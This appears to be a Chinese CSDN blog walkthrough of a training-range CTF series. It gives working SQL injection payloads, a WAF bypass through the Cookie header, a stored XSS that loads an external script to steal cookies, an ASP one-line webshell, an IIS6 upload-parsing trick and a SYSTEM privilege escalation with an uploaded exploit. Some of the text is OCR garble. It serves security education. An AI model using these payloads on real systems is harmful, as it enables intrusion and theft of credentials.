【封神台 - 掌控安全靶场】尤里的复仇 I 小芳 一二三四五六 章

原创

受睡觉的扬扬 ● 于 2022-03-26 20:48:30 发布 ● 104 ☆ 收藏 2 文章标签: 网络安全 web安全 版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: <u>https://blog.csdn.net/m0_52051132/article/details/123760156</u> 版权

【封神台 - 掌控安全靶场】尤里的复仇 I 小芳 一二三四五六章

び 掌控 Entroller	主页 靶场 漏洞复现 題库 9.9元畅学	高薪课程	擂台赛	冬 个	・人中心 ① 注销
封神台-掌控安全在线演练靶场					
☆ 首页 〉 靶场					
公开课基础演练靶场	尤里的复仇 I 小芳!【9题】	分数	状态	突破	详情 ^
	第一章:为了女神小芳! 【配套课时: SQL注入攻击原理 实战演练】		正常进行	15756	已通过 >
正式课 - 从入门到进阶 	第二章:遇到阻难!绕过WAF过滤! 【配套课时:SQL注入攻击原理 实战演练】		正常进行	6957	已通过 >
工具篇 - 从Kali入门学安全	第三章:为了更多的权限!留言板!【配套课时:cookie伪造目标权限 实战演练】		正常进行	3937	已通过 >
	第四章:进击!拿到Web最高权限!【配套课时:绕过防护上传木马 实战演练】		正常进行	2540	已通过 >
训练营-0基础学渗透测试	第五章: SYSTEM! POWER! 【配套课时: webshell控制目标 实战演练】		正常进行	1843	已通过 >
 Kali训练营 - 玩转工具	第六章:GET THE PASS! 【技能点:进程中抓下管理员明文密码】		正常进行	748	已通过 >
	萌新也能找CMS漏洞		正常进行		查看详情 >
AWD提升靶场	基础工具运用:爆破管理员账户登录后台【配套课时:burp到支付和暴破 实战演练】		正常进行		查看详情 >
	Apache Log4j任意代码执行复现		正常进行		查看详情 >
	尤里的复仇!! 回归【7题】	分数	状态	突破	详情 ▼ CSDN @爱睡觉的

【封神台 - 掌控安全靶场】尤里的复仇 I 小芳 一二三四五六章

第一章:为了女神小芳 SQL注入攻击原理实战演练

第二章:遇到阻难绕过WAF过虑 SQL注入攻击原理实战演练

第三章:为了更多的权限 留言板 cookie伪造目标权限 实战演练

第四章:进击 拿到Web最高权限 绕过防护上传木马实战演练

第五章: SYSTEM POWER webshell控制目标 实战演练

第一章:为了女神小芳 SQL注入攻击原理实战演练



第一步,判断是否存在sql注入漏洞 构造?id=1 and 1=1,回车





页面不正常,初步判断这里可能存在一个注入漏洞

第二步:判断字段数

构造?id=1 and 1=1 order by 1 回车

页面正常 构造 ?id=1 and 1=1 order by 2 回车



页面正常 构造?id=1 and 1=1 order by 3 回车



第三步:判断回显点 构造?id=1 and 1=2 union select 1,2 回车

→ C ①
 ① .229.122:8003/?id=1 and 1=2 union select 1,2 ∨ 器 … ☆ ↓ □ ○
 □ FR
 □ FR
 □ FR
 ○ C ①
 ○ C ①
 ○ C ①
 ○ C ①
 ○ C ①
 ○ C ①
 ○ C ②
 ○ C ②
 ○ C ②
 ○ C ②
 ○ C ②
 ○ C ②
 ○ C ②
 ○ C ②
 ○ C ②
 ○ C ②
 ○ C ②
 ○ C ②
 ○ C ②
 ○ C ③
 ○ C ③
 ○ C ③
 ○ C ③
 ○ C ③
 ○ C ③
 ○ C ③
 ○ C ④
 ○ C ④
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○ C ∅
 ○

页面出现了2,说明我们可以在数字2处显示我们想要的内容

第四步:查询相关内容

查询当前数据库名

构造 ?id=1 and 1=2 union select 1,database() 回车



查询当前数据库版本 构造 ?id=1 and 1=2 union select 1,version() 回车



查询当前数据库 表名

构造?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1 回车



绝大数情况下,管理员的账号密码都在admin表里

查询字段名

构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1 回车



构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1 回车



构造?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1 回车



查出 admin 表里 有 id username password 三个字段

查询字段内容

构造 ?id=1 and 1=2 union select 1, username from admin limit 0,1 回车





limit 1,1 没有回显,说明只有一个用户

构造 ?id=1 and 1=2 union select 1, password from admin limit 0,1 回车



第二章:遇到阻难绕过WAF过虑 SQL注入攻击原理实战演练

我们打开传送门,映入眼帘的是一个新闻门户站。 我们点击一条新闻,因为一般新闻页面的功能都是与数据库进行交互的。



通过页面连接:

http://120.203.13.111:8001/shownews.asp?id=171

我们可以得知,是网站下的shownews.asp这个ASP动态网页文件,与数据库进行交互,并查询出了第171篇(id=171)新闻内容的值。



接下来我们尝试注入,用第一课学到的知识尝试输入字符拼接sql语句

http://120.203.13.111:8001/shownews.asp?id=171 order by 10

/shownews.asp?id=171 order by 10							
까마ㅋ	美国机械业巨头米拉克龙裁员130人						
新闻							
资料	发布者:admin 发布时间:2009-8-24 13:36:27 阅读:8						
	页面返回正常						
	这家总部设于美国俄亥俄州Batavia的塑料 <mark>机械</mark> 制造商还在等待资产出售,以帮助						
🔦 资质证书	在一份声明中说:"为根据当前的业务水平来调整业务规模,我们进行了裁员。这-						

查询当前表是否有10个字段,页面返回正常,于是我们继续拼接order by,但把10改成11

http://120.203.13.111:8001/shownews.asp?id=171 order by 11

页面出现错误!返回数据库错误,证明此页面存在sql注入,也测试出此表拥有10个字段



我们继续拼接查询语句,通过from,看页面返回是否正常来猜测有没有admin这个表

http://120.203.13.111:8001/shownews.asp?id=171 union select 1,2,3,4,5,6,7,8,9,10 from admin

访问发现有注入防护,经测试只要url出现select(查询)关键字,就会被拦截。

.203.13.111:8001/shownews.asp?id=171%20union%20select%201,2,3,4,5,6,7,8,9,10%20from%20admin								
11.11.11.11.11.11.11.11.11.11.11.11.11.	120 202 12 111:8001 目示 · X							
行业新闻	120.203.13.111.0001 <u>32</u> /1.							
·技术资料	请不要在参数中出现:and update delete:insert mid master 等非法字							
·产品问答	符!							
资质证书	确定 CSDN @爱睡觉的扬扬							

我们尝试,将测试语句放到cookie里面,再发送给服务器,因为网页防护一般只拦截Get、post传参。 我们打开Chrome浏览器,这里用到了ModHeader插件(自行下载)。



我们点击+号新增一个Request头。



我们添加一个Cookie头,并写值为id=171,并确保已开启(打勾)

\checkmark	Cookie	id=171

我们直接访问

http://120.203.13.111:8001/shownews.asp

返回显示正常,

① 120.203.13.111:8001/shownews.asp			
行业新闻	发布者:admi	≡ Copy of Co	py of Profile
・产品问答	新闻显示正常 这家总部设于美国俄亥俄州Batavia的	Name Request Headers	Value
资质证书 ● 点击进入	在一份声明中说:"为根据当前的业务力要用,还有助于精简我们的组织,使我们	🧹 cookie	id=171
全国总机热线:13705034803 24小时热线电话:13705034803	在一份声明中说:"为根据当前的业务" 费用,还有助于精简我们的组织,使我们		CSDN @爱睡觉的扬扬

这证明cookie里的id=171,也能正常传参,被当作sql语句拼接。那我们直接进行注入。

我们输入Cookie值为:

id=171+union+select+1,2,3,4,5,6,7,8,9,10+from+admin

继续猜测是否存在admin表(+号代替空格,不然会出错)

Request Headers

🧹 cookie

id=171+union+select+1,2,3,4,5,6,7,8,9,10+from+admir

- ×



没有出现数据库错误,这证明admin表是存在的。且第2、第3、7、8、9字段,可以用来猜测字段名,同时,可以直接回显在页面上。

我们接着尝试猜测最常见的管理表字段名Username和Password,我们在2、3、7、8、9中任选两个,分别填入Username和 Password

比如2和3:

id=171+union+select+1,username,password,4,5,6,7,8,9,10+from+admin

接着刷新页面,发现页面返回了admin表中,username和password字段的值:admin、b9a2a2b5dffb918c

admin	
	admin
	发布者:7 发布时间:8 阅读: <mark>9</mark> 次
b9a2a2b5dffb918c	
	CSDN @爱睡觉的扬

这应该就是管理员用户名和密码了,但管理员密码看起来有些奇怪。字母+数字的16位组合,很像md5的特征。

打开cmd5.com (解密站点)

将b9a2a2b5dffb918c进行解密。

	密文: 类型:	b9a2a2b5df 自动	ffb918c			▼「帮助	1	
				查询	加密			
查询结果:								
welcome								
[添加备注]								
						00		A. L.F.

发现密码的明文是welcome。

这个站貌似是南方的CMS,默认管理员后台是根目录的/admin/。

我们尝试打开后台:

http://120.203.13.111:8001/admin/

出现管理员登录页面,输入用户名admin、密码welcome,填写验证码。

企业网站管理系统 管理员登录
用户名称: admin 和户密码: 一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一
CSDN @爱睡觉的扬扬

竟然成功进入了后台!拿走通关KEY,迎接下一关吧! zkz{welcome control}

CSDN @爱睡觉的扬扬

成功登陆!到此,成功绕过防护注入得到密码,登陆后台拿到FLAG!

第三章:为了更多的权限 留言板 cookie伪造目标权限 实战演练

福建博均雕塑 FUJIAN BOJUN DIAOSHU	脱胎漆器有限公司 TUOTAIQIQU LIMITED COMP.	ANY ANY				
uha. 网站首	f页 关于我们 产品中	心 新闻中心	1 客户案例	在线留言	联系我们	and a second
	点击即	可启用 Adobe Fla	sh Player			
▶ ■ 留言中心	■ 留言反馈					
·查看留言	- 主题:				*	
•我要留言						
资质证书						
	内容*:					
全国总机械线: 13705034803 24小时热线电话:13705034803					,	
	公司名称:			*		
	公司地址:					
	邮编:					
	联系人:		*			
	联系电话:					
	手机:					
	联系传真:					
	E-mail :	担办留言 王子	=			
			CONTRACTOR OF THE OWNER OWNER OF THE OWNER			CSDN @爱

通过对Tips的读取我们明白了这题是一道存储型XSS偷取cookie的题目。(因为flag在cookie中,XSS BOT每10秒就带着有flag的cookie去访问查看留言的页面)

既然是存储型XSS,那么我们先用弹窗去尝试(如果不明白为什么弹窗尝试的话建议先去看我们的直播回放),那么就开始插入

	■ 留言反馈	
	主题:	<script>alert('zkaq')</script> * <script>alert('zkaq')</script>
	内容 * :	
3 03		
	公司名称:	<script>alert('zkaq')</script> *
	公司地址:	<script>alert('zkaq')</script>
	邮编:	<scrip< th=""></scrip<>
	联系人:	<script>alert('zkac *</th></tr><tr><th></th><th>联系电话:</th><th><script>alert('zkaq')</script> *
	手机:	<script>alert('zkaq')</script>
	联系传真:	<script></script>

为了保险起见我们在所有能输入的地方都写了,然后提交留言



成功的弹窗了

因为XSS Payload的强大,也是为了使用的方便,有安全研究者将许多功能封装了起来做成了XSS平台。也是因为插入点一般都 有长度限制,所以说xss一般攻击都需要外链。我在这里演示用的是网上的xss平台:http://xsspt.com,需要自己去注册和登录,反 正账号密码知道就行了,邮箱反正不验证不建议写真实的。

① xsspt.com/index.php									☆ 🧶 😔
Xs	ss平台 主页 辅助	友情 帮助) 学习			用户: AAAAaaaa	个人设置	退出登陆	
		A173					A		
	我的项目	「別建	项目名称	项目	目描述	内容数	创建时间	^{建坝日} 操作	
	我的模块	创建					un and and and and and and and and and an	27611	
	公共模块								
	获取页面源码								
	获取保存的明文密码								
	截取网页屏幕								
	键盘记录								
	获取内网IP								
	基础认证钓鱼								
	XSS.jS								
	默认模块								
								CSDN @	@爱睡觉的扬扬

我们先建立项目,名称什么乱选都行,就是选择模块的时候记得选取这两个



然后你可以看到一叠代码,这个就是两个模块中的XSS Payload,现在你们能够理解为什么要XSS平台了吧,我们用滚轮拖到最 下面



<script src=http://xsspt.com/APo4Kj?1526636210></script>



复制下来然后按完成,然后出现项目A内容0,这是因为XSS平台没有收到cookie的缘故,然后回到靶场我们把复制下的这句话插入主题然后提交(我们的插入并不是F12修改源码,而是通过留言板的留言来让网页自动加载出我们插入的恶意语句,因为我们的恶意语句无法显示,有的时候无法看出是否成功插入,所以f12审查源码,看一看是否成功插入)

没显示说明是执行了我插入的语句。然后教你们一个小技巧,在谷歌浏览器可以选择到Sources,然后就可以看到了网页加载了 xsspt.com说明XSS成功

13-25/	🔶 🕞 📋 Elements Console Pe	rformance Sources Network Mem	
器有限公司	Network Filesystem >>	FeedbackView.asp ×	
QU LIMITED COMPANY	🔻 🗖 top	1 html PUBLIC "-//W3</th	
于我们 产品中心 美闻中心 史白家母 在线密言 联系我们	▼ 120.203.13.111:8001	3 <head></head>	
	Img	4 <title>福建雕塑, 脱胎漆器, 雕塑</title>	
	FeedbackView.asp	6 <meta content="福建雕塑,脱胎游</th"/>	
	main.css	7 <meta content="name=descript</th"/>	
	index_05.jpg	9 <script #"))="0</pre" type="text/JavaScrip</th></tr><tr><th></th><th>index_20.jpg</th><th>10 <!</th></tr><tr><th>the second se</th><th>index_23.jpg</th><th>12 var d=document; if(d.image</th></tr><tr><th></th><th>index_24.jpg</th><th><pre>13 var i,j=d.MM_p.length,a=
14 if (afil indexOf("></th></tr><tr><th>占丰即可启田 Adoba Flach Plaver</th><th>Index_23.jpg</th><th>15 }</th></tr><tr><th>Muther Hand Adope Hash Player</th><th>line2 ing</th><th>16</th></tr><tr><th></th><th>logo.gif</th><th>18 var i,x,a=document.MM_sr;</th></tr><tr><th></th><th>m1.ipg</th><th>19 }</th></tr><tr><th></th><th>m155.jpg</th><th><pre>20 21 function MM_findObj(n, d) {</pre></th></tr><tr><th></th><th>menu1_01.jpg</th><th>22 var p,i,x; if(!d) d=docum</th></tr><tr><th></th><th>menu1_02.jpg</th><th>24 if(!(x=d[n])&&d.all) x=d.a</th></tr><tr><th>留言</th><th>menu1_03.jpg</th><th><pre>25 for(i=0;!x&&d.layers&&i<d. if(lx && d getElementById)</pre></th></tr><tr><th></th><th>📄 menu1_04.jpg</th><th>27 }</th></tr><tr><th></th><th>menu1_05.jpg</th><th>28 29 function MM swanTmage() { //</th></tr><tr><th></th><th>menu1_08.jpg</th><th>30 var i,j=0,x,a=MM_swapImage</th></tr><tr><th>反馈内容: a</th><th>menu1_09.jpg</th><th><pre>31 if ((x=MM_findObj(a[i]))! 32 }</pre></th></tr><tr><th>留言者: a 留言时间: 2018-5-18 回复时间:</th><th>menu1_10.jpg</th><th>33 //></th></tr><tr><th>5.33日月1日 -</th><th>menu2_01.jpg</th><th>34 </script>	
3 注风回发:	menu2_02.jpg	36 <body 0"="" cellp<="" onload="MM_preloadImag</th></tr><tr><th>主题:</th><th>menu2_03.jpg</th><th>37 38</th></tr><tr><th>反馈内容: <script>alert('zkaq')</script></th><th>menu2_05.jpg</th><th>39</th></tr><tr><th>留言者: 留言时间: 2018-5-18 回复时间:</th><th>menu2_00.pg</th><th>40 <img s
41</th></tr><tr><th>± 77 2 5 4</th><th>menu2_08.jpg</th><th>42</th></tr><tr><th>3 理贝凹复:</th><th>menu2 09.ipg</th><th>43 44 <table cellspacing=" th=""></body>	
主题:	ny_029.ipg	45	
反馈内容: <script>alert('xss')</script>	ny_03.jpg	46 47 <img h<="" th=""/>	
留言者: 留言时间: 2018-5-18 同复时间:	ny_07.jpg	48 <td backgro<="" th="" width="89"></td>	
	▶ > xsspt.com	49 <a 50 onmouseover="MM_swanTm</a 	
5/埋页回复:		51 onmouseout="MM_swapImg	
主题:		53 name="Tmage4" />	

然后返回XSS平台看到了有内容了。点击内容名称。

然后展开每一个看看,成功获取了flag

リ Do 妾	V日1日 omain: 全 口地址: hi	物・A 部 ▼ ttp://xsspt.com/do/auth/54ct	9299ab75d0d74616caaf23343f50c(加	レンススタン /domain/xxx 可通过域名过滤内容)	装插件
)	+全部	时间	接收的内容	Request Headers	操作
	+展开	2018-05-18 17:44:35	• location : http://120.203.1	HTTP REFERER : htt	删除
	-折叠	2018-05-18 17:40:58	 location : http://120.203.1 3.111:8001/FeedbackVie w.asp toplocation : http://120.20 3.13.111:8001/Feedback View.asp cookie : ASPSESSIONID CAQDSCCD=ACJLAFC DEHOIEJCEPEKOJIEC; flag=zkz MINSESSIONIDCSTRC SDQ=LBMLMBCCNPFI NOANFGLPCFBC opener : 	 HTTP_REFERER : htt p://120.203.13.111:8001/ FeedbackView.asp HTTP_USER_AGENT : Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWeb Kit/534.34 (KHTML, like Gecko) PhantomJS/1.9.7 Safari/534.34 REMOTE_ADDR : 120.2 03.13.115 	删除
	+展开	2018-05-18 17:40:49	• location : http://120.203.1	HTTP REFERER : htt	删除

CSDN @爱睡觉的扬扬

第四章:进击 拿到Web最高权限 绕过防护上传木马实战演练

修改为管理员cookie后请直接访问管理页面 <u>准备好了吗?</u>

CSDN @爱睡觉的扬扬

看了题目和Tips,这题是需要我们用上一题窃取的cookie来登录后台然后上传WEBSHELL,然后连接菜刀获取flag。

flag=zkz{ },AD MINSESSIONIDCSTRC SDQ=LBMLMBCCNPFI NOANFGLPCFBC

opener :

ADMINSESSIONIDCSTRCSDQ=LBMLMBCCNPFINOANFGLPCFBC

然后按F12选择Application,然后看右边有一个cookies然后选择我们的题目的地址,然后点击空白的地方,

把ADMINSESSIONIDCSTRCSDQ粘贴在Name下LBMLMBCCNPFINOANFGLPCFBC粘贴在value

(浏览器可能会有差异,我是谷歌浏览器,不懂可以百度下非常简单)

							ð X	
-> C 🛈 120.203.13.111:8002/admin/Login.asp							😸 :	
	🕞 💼 🛛 Elements Console	这是拔添加的 Performance Sources M	letwork Mem	ory Applica	tion S	Security	»	: ×
修改为官埋员COOKIE后请且接访问官埋贝围/准备灶了吗?	Application	COX Filter						
	Manifest	Name	Value 💋	Domain	Ex	Size	HT S	.e Sa
	Service Workers	ADMINSESSIONIDCSTRC	LBMLMBCCN	120.203.13	/ 19	. 46		
	Clear storage	ASPSESSIONIDCAQDSCCD	FAKLAFCDM	120.203.13	/ 19	. 44		
	Storage							
	Local Storage							
	Session Storage							
	IndexedD8							
	Web SQL			0	SDN	@爱	睡觉的	的扬扬
						1.1		1

然后点准备好了吗或者F5刷新页面,成功进入

\leftarrow \rightarrow C (120.20	3.13.111:8002/admin/default.asp		
				企业网站管理系统
@ 管理后台	۲			
回到首页 退出	«			管理快捷方式
		快捷功能链接	管理员管理	
系统管理	۲			
企业信息	۲			
产品管理	۲			系统信息
询价管理	۲	用户名: admin		IP : 120.203.13.115
下载中心	۲	身份过期:30 分钟		现在时间: 2018年5月18日18:47
新闻管理	۲	上线次数: 549		上线时间: 2018-3-30 18:27:39
留言管理	۲	服务器域名: 120.203.13.111 /	120, 203, 13, 111;8002	脚本解释引擎: VBSoript/5.6.8832
案例管理	۲	服务器软件的名称: Microsoft-	IIS/6.0	浏览器版本: Morilla/5.0(Windows NT 10.0; WOW64)AppleWebKit/537.36(KNTT Safari/537.36
人才管理	۲	FSO文本读写: √		数据库使用: √
友情链接	۲	Jmail组件支持: ×		CDONTS组件支持: ×
Web Information	1 ®			
企业网站管理系统				
	_			
				Script Execution Time:6.762361E+07ms
	_			
	_			
	_			CSDN @爱睡觉的扬扬

然后我们直接找上传点,毕竟getshell我们是需要在服务器的WWW文件夹里面放一段恶意代码的。

我们先去百度找ASP一句话木马,因为是ASP的环境

ASP一句话木马: <%eval request ("pass")%> 密码是pass eval是个函数, request是接受参数的。有兴趣了解一句话的可以自行 百度或者私聊我。

一般而言直接传木马文件都很可能被拦截,所以一般而言一句话木马都会做成图片马。图片马制作非常简单,一条CMD命令就可以了

具体的可以去http://bbs.zkaq.cn/?t/159.html 查看 然后我们成功的得到了图片马

9 7 1 1 1 1 2 4	• ®	企业网站管理系统
高橋市口	<u> </u>	
ALL VERIL		
理	۲	产品管理
息	۲	脱胎漆器 颱烈 開盟 浮雕 佛像 寿山石龍剣
理	۲	产品管理 >> 所有产品 共找到 3 个产品
信用山		选中 ID 产品编号 产品名称 加入时间 审核情况 操作
5埋 =品		116 3202326591 院上浮覽 2013-3-20 已审核 修改删除
-品		
		115 6 土圓将车望像咬癬站点 2013-3-20 日東核 1修改 删除
里	۲	■ 114 ³²⁰²³²²³⁴¹ 拿破仑加夷浮雕 2013-3-20 已审核 修改 删除
0	۲	选中本页显示的所有产品 删除选定的产品
理	۲	共 3 个产品 首页 上一页 下一页 尾页 页次:1/1页 20个产品/页
里	۲	
ł	۲	查找产品: 查询 请输入产品名称。如果为空,则查找所有产品。
E	۲	
ŧ	۲	
oformatio	on	
佔管理系统	ō	CSDN @爱睡觉

我们修改产品管理里面的产品



文件存在然后上菜刀。菜刀打开右键添加,地址就写文件地址,边上的框框写密码,我的就是pass,记得选择脚本格式

·ш.	

然后我们双击去访问,丢了一个405报错。这是因为jpg文件不解析,因为你的后缀是图片格式,所以服务器会当做一张图片去读取,而不是代码。

就和你把一个图片后缀改为TXT然后打开里面的东西都会当文本读取而不是图片。

报错信息里面写了iis6.0的中间件。百度下iis6.0的解析漏洞,就能发现上传cer文件,iis6.0会解且执行。

然后把图片马名字改为cer上传,成功上传,然后菜刀连接,成功进入,然后滚轮划一下就能看到flag!.txt,然后双击打开就是 flag了。

a master where the upy ouran		/ачин/ нн			
□ ○首页 □ 120.203.13.111 × +					○ - □ ×
E:\05\				土 🖌 读取	星期五 2018-05-18 四月初四
120.203.13.111 目录(10),文件(177)	名称	时间	大小	属性	🗆 🔲 站点类别
♀ C: ♀ D:	📄 editor_ubbhelp. asp	2013-04-07 18:15:16	5564	32	 □ 默认类别 □ Type1
	Error. ASP	2013-04-07 18:15:16	3313	32	-
i admin	Feedback. asp	2018-05-02 19:55:41	9592	32	-
in flash	📑 FeedbaolMember. asp	2013-04-07 18:15:16	10372	32	
Ing ingbly	FeedbackSave. asp	2013-04-07 18:15:16	2282	32	
🧰 imgbyw 🧰 Inc	📄 FeedbackView. asp	2013-04-07 18:15:16	9195	32	
🧰 Menu 🫅 UploadFiles	S FLAG!.txt	2018-03-30 19:26:56	24	32	
	Foot. asp	2013-04-07 18:15:16	1129	32	
	GetPassword. asp	2013-04-07 18:15:16	9990	32	
	Head. asp	2013-04-07 18:15:16	5041	32	
	Help. asp	2013-04-07 18:15:16	2025	32	
	Tistory. asp	2013-04-07 18:15:16	4576	32	
	¬ .				1 000011 0 37/115 3/4 4 503313
				F :	CSDN @宏睡觉的奶奶

第五章: SYSTEM POWER webshell控制目标 实战演练

进入传送门后,发现这一章的网站仍然是之前看到过的那个。而这个网站的管理员cookie已经被我拿到,并且已经成功上传一句 话马至服务器了,如下图。



因此我直接来到了菜刀,进入了文件管理器视图,并试图点开C盘,如下图。



进入c盘之后,一眼就扫到了flag.txt。这么简单吗?点开试试,如下图。

1 📋 🛅 120. 203. 13. 75 +							
🛅 C: \			±	✓ 读取	星期五 2018-09-07 七月廿八		
120.203.13.75 目录(10),文件(14)	名称	时间	大小	属性 📫 🖻	🗆 🖂 站点类别		
	🛅 Documents and Settings	2018-09-06 16:40:19	0	16	□ 默认类别 □ Type1		
Documents and Settings Thethub	🛅 Inetpub	2018-04-09 11:07:26	0	16	② 日程提醒		
🧰 mimikatz_trunk	🚞 mimikatz_trunk	2018-09-06 17:40:25	0	16	២ 快捷方式		
🧰 Program Files	🚞 Program Files	2018-04-03 18:35:07	0	17			
Python27 RECYCLER	🔁 Python27	2018-04-04 01:35:45	0	16			
🧰 moroman 🛅 System Volume Information	ECYCLER RECYCLER	2018-09-06 16:58:12	0	22			
🚞 web	🚞 System Volume Information	2018-04-03 07:06:53	0	22			
WINDOWS	🚞 web	2018-04-03 18:29:11	0	16			
wmpub m:	C WINDOWS	2018-04-09 11:08:57	0	16			
E:	🚞 wmpub	2018-04-03 07:02:51	0	16			
- 🗀 05	AMTAG. BIN	2018-04-03 17:38:43	1024	2			
🗁 UploadFiles							

	Sol AUTOEXEC. BAT	2018-04-03 07:02:36	0	32	
	📓 boot. ini	2018-04-03 06:59:30	210	6	
进入C盆后,息外及现我们的日标	📄 bootfont. bin	2012-05-01 00:00:00	322730	39	
Hag LXLX1升机住具中。	🗟 CONFIG. SYS	2018-04-03 07:02:36	0	32	
我直接秋山打开它	Documents	2018-09-06 16:57:10	0	32	
	🗾 flag. txt	2018-04-02 19:25:37	23	32	
	🗟 IO. SYS	2018-04-03 07:02:36	0	39	
	🗋 lsass. dmp	2018-09-06 17:06:54	29706066	32	
	🚳 MSDOS. SYS	2018-04-03 07:02:36	0	39	
					CSDN @爱睡觉的扬扬。

但是并没有权限访问这个文件,这就很尴尬了。所以目标已经非常明确了-提升我的权限,让我能够访问C盘中的文件。那么怎 么提升我的权限呢-命令行工具! cmd命令行自带了很多的系统指令,其中包括添加用户/添加用户组等等,这不正好合适吗? 我 添加一个自己的用户身份,然后把这个用户添加到管理员组,再用这个用户去登陆服务器,不就有权限去打开flag.txt文件了,如 下图。

请稍候...

双击之后,发现我并没有权限去访问	③ 操作提示	(1) X
因此,现在的目标就很明确了,————————————————————————————————————	▶ 没有权限	
才能查看c盘中的这个文件。		
而众所周知,命令行就是一个很好的提权工	畏,	
四刀匕曰帀了很多赤郊凶数。 我们可以诵讨添加管理员用户来获取该系统	的最高权限	

CSDN @爱睡觉的扬扬

说干就干。我来到了菜刀初始页面,右键并打开了虚拟终端,进入了命令行,如下图。



进入命令行之后,我直接输入了whoami指令,查看我当前的身份。但是却发现拒绝访问。这是为啥呢?因为命令提示符是在C 盘的,但是C盘里的东西我不能访问。这可咋整!

[*] 基本信息 [C:D:E:]	
E:\O5\UploadFiles\>_whoami	
E:\05\Uploadriles\>	用米兰有式现在但这个系统中写物和仪收
伯恩海海站向	



🔲 📋 🚞 120, 203, 13, 75	+					
E:\RECYCLER\				± ~	读取	星期五 2018-09-07 七月廿八
120.203.13.75 目录(1),文件(0)	名称	时间	大小	属性	🗆 🗆 站点类别
 C: D: E: O5 P CYCLER 		☐ S-1-5-21-3109291948-15795443	0	22	 □ 默认类别 □ Type1 ○ 日程提醒 □ 快捷方式 	
🗀 S-1-5-21-3109291 🗀 System Volume Infor	948-1579544356-27) nation	•	更新缓存 清空此网站缓存 下载文件到服务器			
由于e盘下有该网站的 因此我尝试在e盘下进	则根文件夹, 扩行上传文件		上传文件新建	<u>+</u>	A	1+
				石键之后	,选择上	使又件
4	>					CSDN @爱睡觉的扬扬12

查找范围(I):	提权	• 🖬 📩 🚽	•
名称	^	修改日期	类型
🖾 cmd.exe		2014/3/5 10:00	应用程度
📧 iis6.exe		2011/3/11 1:53	应用程度





上传成功后,直接在这个文件上右键并打开虚拟终端,如下图。



我再次输入whoami命令。这次果然有权限了,但是从返回结果看,我目前只是一个普通用户,如下图





然后我按照刚才的思路进行添加用户--pigking。但是又拒绝访问。

[*] 基本信息 [C:D:E:]	
E:\O5\UploadFiles\> whoami nt authority\network service	
E:\05\UploadFiles\> net user pigking 123/add	
发生系统错误 5。	
拒绝访问。	此时输入添加用户pigking,密码123指令
E:\05\UploadFiles\>	
	CSDN @发睡见的扬扬

这又是为啥?这是因为使用cmd需要用到外部接口wscript.shell。但是wscript.shell仍然在C盘,C盘我们仍然无法访问。这可怎么办?那么就只能再上传一个已经组装好的wscript.shell,也就是下图的iis6.exe。

名称	^	~	修改日期	举刑
cmd.exe			2014/3/5 10:00	应用程序
📧 iis6.exe			2011/3/11 1:53	应用程度
由于cm 而系统 因此此 也就是	d需要外部接口wscript.shel 体身的wscript.shell在c盘, 付又需要上传这个iis6.exe文 目装好的cmd的外部接口	L, 盘件	正好无法访问。	>
文件名(N):	iis6.exe		打	₩(O)
文件类型(T):			▼ CSDN @爱睡	说的扬扬

	🚞 S-1-5-21-31	09291948-1579544356-276349	2018-05-21	17:35:28	0	22
	📧 omd. exe		2018-09-07	09:20:55	100864	32
	📧 iis6. exe		2018-09-07	10:02:52	41472	32
76	地石	寸,上传完成! 퇽俱备只欠东风! 列cmd!				

此时,我用cd命令切换到刚才上传文件的目录--E:\RECYCLER,如下图。

[*] 基本信息 [C:D:E:]	
E:\O5\UploadFiles\> whoami nt authority\network service	
E:\05\UploadFiles\> net user pigking 123 /add	
发生系统错误 5。	
拒绝访问。	
E:\05\UploadFiles\> cd/	
E:\> od RECYCLER	
E:\RECYCLER\>	CSDN @爱睡觉的扬扬

然后我通过iis6.exe执行了whoami命令–iis6.exe "whoami"。然后,程序返回了很多信息,其中–this exploit gives you a local system shell,我从这句话中看出它已经给了我system的命令行权限,如下图。

E:\05\UploadFiles\> cd/	
E:\05\> od/	我通过ils6.exe再次执行了wheami
E:\> od RECYCLER	
E:\RECVCLER\; iis6.exe "whoami" [IIS8Up]->TIS Token FipeAdmin golds7n Version [IIS8Up]->This exploit gives you a Local Syste [IIS8Up]->Set registry UN] [process walking]: 320 w3wp.exe [process walking]: 1436 cmd.exe [process walking]: 2756 wmiprvse.exe [IIS8Up]->Cot WMI process Fid: 2756 [Iry 1 time] [Try 2 time] [Try 3 time]	通过这句话,可以看出, 这个组件已经赋予了我一个本地的最高权限
E:\RECYCLER\>	CSDN @爱睡觉的扬扬

因此,我再执行同样的指令,以确定我现在的身份。现在我看到cmd正在以system权限执行这条指令,而我现在的权限已经变成 了system,如下图。

E:\05\> cd/	
E:\> od RECYCLER	
